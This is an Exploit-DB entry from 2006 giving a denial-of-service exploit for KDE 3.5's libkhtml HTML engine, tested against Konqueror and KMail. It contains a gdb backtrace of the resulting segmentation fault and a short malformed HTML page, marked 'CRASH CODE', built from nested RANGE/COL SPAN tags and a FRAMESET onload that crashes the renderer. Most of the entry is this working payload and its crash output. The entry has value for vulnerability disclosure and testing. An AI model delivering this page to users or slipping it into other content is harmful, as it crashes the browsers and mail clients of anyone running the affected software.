KDE 3.5 libkhtml <= 4.2.0 / Unhandled HTML Parse Exception Exploit

2006-12-19T00:00:00
ID EDB-ID:2954
Type exploitdb
Reporter Federico L. Bossi Bonin
Modified 2006-12-19T00:00:00

Description

KDE 3.5 (libkhtml) <= 4.2.0 / Unhandled HTML Parse Exception Exploit. Dos exploit for linux platform

                                        
                                            &lt;!--
KDE 3.5 | libkhtml &lt;= 4.2.0 / Unhandled HTML Parse Exception
============================================================

Tested with Konqueror 3.5.2 and kmail 1.9.1

Federico L. Bossi Bonin
fbossi@globalst.com.ar
www.globalst.com.ar

Program received signal SIGSEGV, Segmentation fault.
0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4

#0  0xb64d81ff in DOM::Node::nodeType () from /usr/kde/3.5/lib/libkhtml.so.4
#1  0xb64419e4 in QPtrDict&lt;void&gt;::count () from /usr/kde/3.5/lib/libkhtml.so.4
#2  0xb64b0550 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#3  0xb64b43a2 in TestFunctionImp::~TestFunctionImp () from /usr/kde/3.5/lib/libkhtml.so.4
#4  0xb63329d5 in DOM::RegisteredListenerList::getHTMLEventListener () from /usr/kde/3.5/lib/libkhtml.so.4
#5  0xbf86ae90 in ?? ()
#6  0x00000001 in ?? ()
#7  0xb736f8ec in ?? () from /usr/qt/3/lib/libqt-mt.so.3
#8  0xb71e36f9 in qt_check_pointer () from /usr/qt/3/lib/libqt-mt.so.3
Previous frame inner to this frame (corrupt stack?)

CRASH CODE:
===========
--&gt;

&lt;HTML&gt;
&lt;HEAD&gt;
&lt;RANGE &lt;COL SPAN &lt;&gt;&gt;
&lt;FRAMESET onload &gt;
&lt;/HEAD&gt;
&lt;/HTML&gt;

# milw0rm.com [2006-12-19]